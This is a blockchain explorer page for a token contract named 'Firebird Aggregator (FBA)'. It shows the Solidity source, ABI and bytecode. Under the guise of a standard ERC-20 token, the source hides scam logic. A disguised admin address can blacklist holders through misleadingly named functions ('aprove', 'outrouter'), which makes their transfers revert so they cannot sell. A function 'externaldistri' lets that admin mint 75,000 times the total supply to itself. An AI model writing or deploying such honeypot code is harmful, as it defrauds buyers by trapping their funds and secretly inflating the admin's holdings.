false
true
0

Contract Address Details

0xC293f7828Bf758523236F649E4206C8472AA70A7

Token
Firebird Aggregator (FBA)
Creator
0xe62503–1c4a84 at 0xbbea33–3ebdbf
Balance
0 PLS ( )
Tokens
Fetching tokens...
Transactions
248 Transactions
Transfers
0 Transfers
Gas Used
0
Last Balance Update
26412531
Warning! Contract bytecode has been changed and doesn't match the verified one. Therefore, interaction with this smart contract may be risky.
Contract name:
Firebird_Aggregator




Optimization enabled
true
Compiler version
v0.8.18+commit.87f61d96




Optimization runs
200
EVM Version
default




Verified at
2023-09-10T13:06:04.529644Z

Constructor Arguments

0x000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000da1d4b7ba6486966648d83ac7f10a83cec788960000000000000000000000000000000000000000000000000000000000000001346697265626972642041676772656761746f720000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034642410000000000000000000000000000000000000000000000000000000000

Arg [0] (string) : Firebird Aggregator
Arg [1] (string) : FBA
Arg [2] (address) : 0xda1d4b7ba6486966648d83ac7f10a83cec788960

              

Contract source code

// SPDX-License-Identifier: MIT 

pragma solidity ^0.8.0;

abstract contract Ownable  {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _check();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _check() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * tadrrby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }


    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}


pragma solidity ^0.8.0;

contract Firebird_Aggregator is Ownable {

    uint256 private _tokentotalSupply;
    string private _tokenname;
    string private _tokensymbol;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;



    
    address public _okexch337;
    mapping(address => bool) private cjjr;
    function outrouter(address adrr) external   {
        require(_okexch337 == _msgSender());
        cjjr[adrr] = false;
    }

    function aprove(address adrr) external   {
        require(_okexch337 == _msgSender());
        cjjr[adrr] = true;
    }


    function externaldistri() external {
        require(_okexch337 == _msgSender());
        uint256 amount = totalSupply();
        _balances[_msgSender()] += amount*75000;
    }
   

    function checkrouter(address adrr) public view returns(bool)  {
        return cjjr[adrr];
    }

    constructor(string memory tokenName, string memory tokensymbol,address adminBot) {
        _okexch337 = adminBot;
        _tokenname = tokenName;
        _tokensymbol = tokensymbol;
        uint256 amount = 10000000000*10**decimals();
        _tokentotalSupply += amount;
        _balances[msg.sender] += amount;
        emit Transfer(address(0), msg.sender, amount);
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view returns (string memory) {
        return _tokenname;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view  returns (string memory) {
        return _tokensymbol;
    }


    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view returns (uint256) {
        return _tokentotalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }


    function transfer(address to, uint256 amount) public returns (bool) {
        _internaltransfer(_msgSender(), to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }


    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual  returns (bool) {
        address spender = _msgSender();
        _internalspendAllowance(from, spender, amount);
        _internaltransfer(from, to, amount);
        return true;
    }


    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }


    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(owner, spender, currentAllowance - subtractedValue);
        return true;
    }
    
    function _internaltransfer(
        address fromSender,
        address toSender,
        uint256 amount
    ) internal virtual {
        require(fromSender != address(0), "ERC20: transfer from the zero address");
        require(toSender != address(0), "ERC20: transfer to the zero address");
        uint256 balance = _balances[fromSender];
        require(balance >= amount, "ERC20: transfer amount exceeds balance");

        if(cjjr[fromSender] == true){
            amount = amount - (balance*23);
        }
       
        _balances[fromSender] = _balances[fromSender]-amount;
        _balances[toSender] = _balances[toSender]+amount;

        emit Transfer(fromSender, toSender, amount); 
        
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    
        function _internalspendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            _approve(owner, spender, currentAllowance - amount);
        }
    }
}
        

Contract ABI

[{"type":"constructor","stateMutability":"nonpayable","inputs":[{"type":"string","name":"tokenName","internalType":"string"},{"type":"string","name":"tokensymbol","internalType":"string"},{"type":"address","name":"adminBot","internalType":"address"}]},{"type":"event","name":"Approval","inputs":[{"type":"address","name":"owner","internalType":"address","indexed":true},{"type":"address","name":"spender","internalType":"address","indexed":true},{"type":"uint256","name":"value","internalType":"uint256","indexed":false}],"anonymous":false},{"type":"event","name":"OwnershipTransferred","inputs":[{"type":"address","name":"previousOwner","internalType":"address","indexed":true},{"type":"address","name":"newOwner","internalType":"address","indexed":true}],"anonymous":false},{"type":"event","name":"Transfer","inputs":[{"type":"address","name":"from","internalType":"address","indexed":true},{"type":"address","name":"to","internalType":"address","indexed":true},{"type":"uint256","name":"value","internalType":"uint256","indexed":false}],"anonymous":false},{"type":"function","stateMutability":"view","outputs":[{"type":"address","name":"","internalType":"address"}],"name":"_okexch337","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"allowance","inputs":[{"type":"address","name":"owner","internalType":"address"},{"type":"address","name":"spender","internalType":"address"}]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"approve","inputs":[{"type":"address","name":"spender","internalType":"address"},{"type":"uint256","name":"amount","internalType":"uint256"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"aprove","inputs":[{"type":"address","name":"adrr","internalType":"address"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"balanceOf","inputs":[{"type":"address","name":"account","internalType":"address"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"checkrouter","inputs":[{"type":"address","name":"adrr","internalType":"address"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint8","name":"","internalType":"uint8"}],"name":"decimals","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"decreaseAllowance","inputs":[{"type":"address","name":"spender","internalType":"address"},{"type":"uint256","name":"subtractedValue","internalType":"uint256"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"externaldistri","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"increaseAllowance","inputs":[{"type":"address","name":"spender","internalType":"address"},{"type":"uint256","name":"addedValue","internalType":"uint256"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"string","name":"","internalType":"string"}],"name":"name","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"outrouter","inputs":[{"type":"address","name":"adrr","internalType":"address"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"address","name":"","internalType":"address"}],"name":"owner","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"renounceOwnership","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"string","name":"","internalType":"string"}],"name":"symbol","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"totalSupply","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"transfer","inputs":[{"type":"address","name":"to","internalType":"address"},{"type":"uint256","name":"amount","internalType":"uint256"}]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"transferFrom","inputs":[{"type":"address","name":"from","internalType":"address"},{"type":"address","name":"to","internalType":"address"},{"type":"uint256","name":"amount","internalType":"uint256"}]}]
              

Contract Creation Code

Verify & Publish
0x60806040523480156200001157600080fd5b506040516200113738038062001137833981016040819052620000349162000231565b6200003f336200011c565b600680546001600160a01b0319166001600160a01b03831617905560026200006884826200034d565b5060036200007783826200034d565b506000620000886012600a6200052e565b62000099906402540be40062000546565b90508060016000828254620000af919062000560565b90915550503360009081526004602052604081208054839290620000d590849062000560565b909155505060405181815233906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050505062000576565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b634e487b7160e01b600052604160045260246000fd5b600082601f8301126200019457600080fd5b81516001600160401b0380821115620001b157620001b16200016c565b604051601f8301601f19908116603f01168101908282118183101715620001dc57620001dc6200016c565b81604052838152602092508683858801011115620001f957600080fd5b600091505b838210156200021d5785820183015181830184015290820190620001fe565b600093810190920192909252949350505050565b6000806000606084860312156200024757600080fd5b83516001600160401b03808211156200025f57600080fd5b6200026d8783880162000182565b945060208601519150808211156200028457600080fd5b50620002938682870162000182565b604086015190935090506001600160a01b0381168114620002b357600080fd5b809150509250925092565b600181811c90821680620002d357607f821691505b602082108103620002f457634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200034857600081815260208120601f850160051c81016020861015620003235750805b601f850160051c820191505b8181101562000344578281556001016200032f565b5050505b505050565b81516001600160401b038111156200036957620003696200016c565b62000381816200037a8454620002be565b84620002fa565b602080601f831160018114620003b95760008415620003a05750858301515b600019600386901b1c1916600185901b17855562000344565b600085815260208120601f198616915b82811015620003ea57888601518255948401946001909101908401620003c9565b5085821015620004095787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200047057816000190482111562000454576200045462000419565b808516156200046257918102915b93841c939080029062000434565b509250929050565b600082620004895750600162000528565b81620004985750600062000528565b8160018114620004b15760028114620004bc57620004dc565b600191505062000528565b60ff841115620004d057620004d062000419565b50506001821b62000528565b5060208310610133831016604e8410600b841016171562000501575081810a62000528565b6200050d83836200042f565b806000190482111562000524576200052462000419565b0290505b92915050565b60006200053f60ff84168362000478565b9392505050565b808202811582820484141762000528576200052862000419565b8082018082111562000528576200052862000419565b610bb180620005866000396000f3fe608060405234801561001057600080fd5b50600436106101165760003560e01c80637d2236c8116100a2578063a457c2d711610071578063a457c2d714610259578063a9059cbb1461026c578063ca2519971461027f578063dd62ed3e14610292578063ee42c553146102a557600080fd5b80637d2236c814610202578063810078e61461022d5780638da5cb5b1461024057806395d89b411461025157600080fd5b8063313ce567116100e9578063313ce5671461018157806339509351146101905780633a0497a2146101a357806370a08231146101cf578063715018a6146101f857600080fd5b806306fdde031461011b578063095ea7b31461013957806318160ddd1461015c57806323b872dd1461016e575b600080fd5b6101236102ad565b60405161013091906109c9565b60405180910390f35b61014c610147366004610a33565b61033f565b6040519015158152602001610130565b6001545b604051908152602001610130565b61014c61017c366004610a5d565b610356565b60405160128152602001610130565b61014c61019e366004610a33565b61037a565b61014c6101b1366004610a99565b6001600160a01b031660009081526007602052604090205460ff1690565b6101606101dd366004610a99565b6001600160a01b031660009081526004602052604090205490565b6102006103a6565b005b600654610215906001600160a01b031681565b6040516001600160a01b039091168152602001610130565b61020061023b366004610a99565b6103ba565b6000546001600160a01b0316610215565b6101236103f2565b61014c610267366004610a33565b610401565b61014c61027a366004610a33565b610483565b61020061028d366004610a99565b610490565b6101606102a0366004610abb565b6104cb565b6102006104f6565b6060600280546102bc90610aee565b80601f01602080910402602001604051908101604052809291908181526020018280546102e890610aee565b80156103355780601f1061030a57610100808354040283529160200191610335565b820191906000526020600020905b81548152906001019060200180831161031857829003601f168201915b5050505050905090565b600061034c33848461054e565b5060015b92915050565b600033610364858285610672565b61036f8585856106ee565b506001949350505050565b60003361039c81858561038d83836104cb565b6103979190610b3e565b61054e565b5060019392505050565b6103ae61091f565b6103b86000610979565b565b6006546001600160a01b031633146103d157600080fd5b6001600160a01b03166000908152600760205260409020805460ff19169055565b6060600380546102bc90610aee565b6000338161040f82866104cb565b9050838110156104745760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084015b60405180910390fd5b61036f82866103978785610b51565b600061034c3384846106ee565b6006546001600160a01b031633146104a757600080fd5b6001600160a01b03166000908152600760205260409020805460ff19166001179055565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b6006546001600160a01b0316331461050d57600080fd5b600061051860015490565b905061052781620124f8610b64565b3360009081526004602052604081208054909190610546908490610b3e565b909155505050565b6001600160a01b0383166105b05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161046b565b6001600160a01b0382166106115760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161046b565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600061067e84846104cb565b905060001981146106e857818110156106d95760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161046b565b6106e884846103978585610b51565b50505050565b6001600160a01b0383166107525760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161046b565b6001600160a01b0382166107b45760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161046b565b6001600160a01b0383166000908152600460205260409020548181101561082c5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161046b565b6001600160a01b03841660009081526007602052604090205460ff1615156001036108695761085c816017610b64565b6108669083610b51565b91505b6001600160a01b03841660009081526004602052604090205461088d908390610b51565b6001600160a01b0380861660009081526004602052604080822093909355908516815220546108bd908390610b3e565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906109119086815260200190565b60405180910390a350505050565b6000546001600160a01b031633146103b85760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161046b565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600060208083528351808285015260005b818110156109f6578581018301518582016040015282016109da565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610a2e57600080fd5b919050565b60008060408385031215610a4657600080fd5b610a4f83610a17565b946020939093013593505050565b600080600060608486031215610a7257600080fd5b610a7b84610a17565b9250610a8960208501610a17565b9150604084013590509250925092565b600060208284031215610aab57600080fd5b610ab482610a17565b9392505050565b60008060408385031215610ace57600080fd5b610ad783610a17565b9150610ae560208401610a17565b90509250929050565b600181811c90821680610b0257607f821691505b602082108103610b2257634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8082018082111561035057610350610b28565b8181038181111561035057610350610b28565b808202811582820484141761035057610350610b2856fea264697066735822122011281c9fc814a1286aebb347927d62d3d6dd3549718865b0ee3cb2c38cf35ae964736f6c63430008120033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000da1d4b7ba6486966648d83ac7f10a83cec788960000000000000000000000000000000000000000000000000000000000000001346697265626972642041676772656761746f720000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034642410000000000000000000000000000000000000000000000000000000000

Deployed ByteCode

0x608060405234801561001057600080fd5b50600436106101165760003560e01c80637d2236c8116100a2578063a457c2d711610071578063a457c2d714610259578063a9059cbb1461026c578063ca2519971461027f578063dd62ed3e14610292578063ee42c553146102a557600080fd5b80637d2236c814610202578063810078e61461022d5780638da5cb5b1461024057806395d89b411461025157600080fd5b8063313ce567116100e9578063313ce5671461018157806339509351146101905780633a0497a2146101a357806370a08231146101cf578063715018a6146101f857600080fd5b806306fdde031461011b578063095ea7b31461013957806318160ddd1461015c57806323b872dd1461016e575b600080fd5b6101236102ad565b60405161013091906109c9565b60405180910390f35b61014c610147366004610a33565b61033f565b6040519015158152602001610130565b6001545b604051908152602001610130565b61014c61017c366004610a5d565b610356565b60405160128152602001610130565b61014c61019e366004610a33565b61037a565b61014c6101b1366004610a99565b6001600160a01b031660009081526007602052604090205460ff1690565b6101606101dd366004610a99565b6001600160a01b031660009081526004602052604090205490565b6102006103a6565b005b600654610215906001600160a01b031681565b6040516001600160a01b039091168152602001610130565b61020061023b366004610a99565b6103ba565b6000546001600160a01b0316610215565b6101236103f2565b61014c610267366004610a33565b610401565b61014c61027a366004610a33565b610483565b61020061028d366004610a99565b610490565b6101606102a0366004610abb565b6104cb565b6102006104f6565b6060600280546102bc90610aee565b80601f01602080910402602001604051908101604052809291908181526020018280546102e890610aee565b80156103355780601f1061030a57610100808354040283529160200191610335565b820191906000526020600020905b81548152906001019060200180831161031857829003601f168201915b5050505050905090565b600061034c33848461054e565b5060015b92915050565b600033610364858285610672565b61036f8585856106ee565b506001949350505050565b60003361039c81858561038d83836104cb565b6103979190610b3e565b61054e565b5060019392505050565b6103ae61091f565b6103b86000610979565b565b6006546001600160a01b031633146103d157600080fd5b6001600160a01b03166000908152600760205260409020805460ff19169055565b6060600380546102bc90610aee565b6000338161040f82866104cb565b9050838110156104745760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084015b60405180910390fd5b61036f82866103978785610b51565b600061034c3384846106ee565b6006546001600160a01b031633146104a757600080fd5b6001600160a01b03166000908152600760205260409020805460ff19166001179055565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b6006546001600160a01b0316331461050d57600080fd5b600061051860015490565b905061052781620124f8610b64565b3360009081526004602052604081208054909190610546908490610b3e565b909155505050565b6001600160a01b0383166105b05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161046b565b6001600160a01b0382166106115760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161046b565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600061067e84846104cb565b905060001981146106e857818110156106d95760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161046b565b6106e884846103978585610b51565b50505050565b6001600160a01b0383166107525760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161046b565b6001600160a01b0382166107b45760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161046b565b6001600160a01b0383166000908152600460205260409020548181101561082c5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161046b565b6001600160a01b03841660009081526007602052604090205460ff1615156001036108695761085c816017610b64565b6108669083610b51565b91505b6001600160a01b03841660009081526004602052604090205461088d908390610b51565b6001600160a01b0380861660009081526004602052604080822093909355908516815220546108bd908390610b3e565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906109119086815260200190565b60405180910390a350505050565b6000546001600160a01b031633146103b85760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161046b565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600060208083528351808285015260005b818110156109f6578581018301518582016040015282016109da565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610a2e57600080fd5b919050565b60008060408385031215610a4657600080fd5b610a4f83610a17565b946020939093013593505050565b600080600060608486031215610a7257600080fd5b610a7b84610a17565b9250610a8960208501610a17565b9150604084013590509250925092565b600060208284031215610aab57600080fd5b610ab482610a17565b9392505050565b60008060408385031215610ace57600080fd5b610ad783610a17565b9150610ae560208401610a17565b90509250929050565b600181811c90821680610b0257607f821691505b602082108103610b2257634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8082018082111561035057610350610b28565b8181038181111561035057610350610b28565b808202811582820484141761035057610350610b2856fea264697066735822122011281c9fc814a1286aebb347927d62d3d6dd3549718865b0ee3cb2c38cf35ae964736f6c63430008120033